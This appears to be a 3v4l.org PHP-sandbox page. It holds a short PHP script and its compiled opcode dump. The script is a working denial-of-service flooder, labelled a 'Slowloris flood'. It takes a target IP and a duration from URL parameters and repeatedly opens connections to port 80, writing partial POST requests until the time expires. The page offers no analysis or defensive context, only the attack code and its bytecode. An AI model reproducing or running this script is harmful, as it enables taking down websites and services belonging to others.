3v4l.org

run code in 300+ PHP versions simultaneously
<?php /* All credits go to LUKE from ChickenX Best coder in my eyes - Matin */ $ip = $_GET['ip']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); $max_time = $time+$exec_time; while(1){ if(time() > $max_time){ break; } $fp = fsockopen($ip, 80, $errno, $errstr, 140); if (!$fp) { echo "$errstr ($errno)<br />\n"; } else { $out = "POST / HTTP/1.1\r\n"; $out .= "Host: $ip\r\n"; $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n"; $out .= "Content-Length: 42\r\n\r\n"; fwrite($fp, $out); } } echo "Slowloris flood complete after: $exec_time seconds\n"; ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 50
Branch analysis from position: 50
2 jumps found. (Code = 44) Position 1 = 51, Position 2 = 18
Branch analysis from position: 51
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 18
2 jumps found. (Code = 43) Position 1 = 22, Position 2 = 23
Branch analysis from position: 22
1 jumps found. (Code = 42) Position 1 = 51
Branch analysis from position: 51
Branch analysis from position: 23
2 jumps found. (Code = 43) Position 1 = 33, Position 2 = 39
Branch analysis from position: 33
1 jumps found. (Code = 42) Position 1 = 50
Branch analysis from position: 50
Branch analysis from position: 39
2 jumps found. (Code = 44) Position 1 = 51, Position 2 = 18
Branch analysis from position: 51
Branch analysis from position: 18
filename:       /in/dTql6
function name:  (null)
number of ops:  56
compiled vars:  !0 = $ip, !1 = $exec_time, !2 = $time, !3 = $max_time, !4 = $fp, !5 = $errno, !6 = $errstr, !7 = $out
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    6     0  E >   FETCH_R                      global              ~8      '_GET'
          1        FETCH_DIM_R                                      ~9      ~8, 'ip'
          2        ASSIGN                                                   !0, ~9
    7     3        INIT_FCALL                                               'set_time_limit'
          4        SEND_VAL                                                 0
          5        DO_ICALL                                                 
    8     6        INIT_FCALL                                               'ignore_user_abort'
          7        SEND_VAL                                                 <false>
          8        DO_ICALL                                                 
   10     9        FETCH_R                      global              ~13     '_GET'
         10        FETCH_DIM_R                                      ~14     ~13, 'time'
         11        ASSIGN                                                   !1, ~14
   11    12        INIT_FCALL                                               'time'
         13        DO_ICALL                                         $16     
         14        ASSIGN                                                   !2, $16
   12    15        ADD                                              ~18     !2, !1
         16        ASSIGN                                                   !3, ~18
   14    17      > JMP                                                      ->50
   15    18    >   INIT_FCALL                                               'time'
         19        DO_ICALL                                         $20     
         20        IS_SMALLER                                               !3, $20
         21      > JMPZ                                                     ~21, ->23
   16    22    > > JMP                                                      ->51
   19    23    >   INIT_FCALL                                               'fsockopen'
         24        SEND_VAR                                                 !0
         25        SEND_VAL                                                 80
         26        SEND_REF                                                 !5
         27        SEND_REF                                                 !6
         28        SEND_VAL                                                 140
         29        DO_ICALL                                         $22     
         30        ASSIGN                                                   !4, $22
   20    31        BOOL_NOT                                         ~24     !4
         32      > JMPZ                                                     ~24, ->39
   21    33    >   ROPE_INIT                                     4  ~26     !6
         34        ROPE_ADD                                      1  ~26     ~26, '+%28'
         35        ROPE_ADD                                      2  ~26     ~26, !5
         36        ROPE_END                                      3  ~25     ~26, '%29%3Cbr+%2F%3E%0A'
         37        ECHO                                                     ~25
         38      > JMP                                                      ->50
   23    39    >   ASSIGN                                                   !7, 'POST+%2F+HTTP%2F1.1%0D%0A'
   24    40        ROPE_INIT                                     3  ~30     'Host%3A+'
         41        ROPE_ADD                                      1  ~30     ~30, !0
         42        ROPE_END                                      2  ~29     ~30, '%0D%0A'
         43        ASSIGN_OP                                     8          !7, ~29
   25    44        ASSIGN_OP                                     8          !7, 'User-Agent%3A+Opera%2F9.21+%28Windows+NT+5.1%3B+U%3B+en%29%0D%0A'
   26    45        ASSIGN_OP                                     8          !7, 'Content-Length%3A+42%0D%0A%0D%0A'
   28    46        INIT_FCALL                                               'fwrite'
         47        SEND_VAR                                                 !4
         48        SEND_VAR                                                 !7
         49        DO_ICALL                                                 
   14    50    > > JMPNZ                                                    1, ->18
   31    51    >   ROPE_INIT                                     3  ~37     'Slowloris+flood+complete+after%3A+'
         52        ROPE_ADD                                      1  ~37     ~37, !1
         53        ROPE_END                                      2  ~36     ~37, '+seconds%0A'
         54        ECHO                                                     ~36
   32    55      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
152.33 ms | 1400 KiB | 23 Q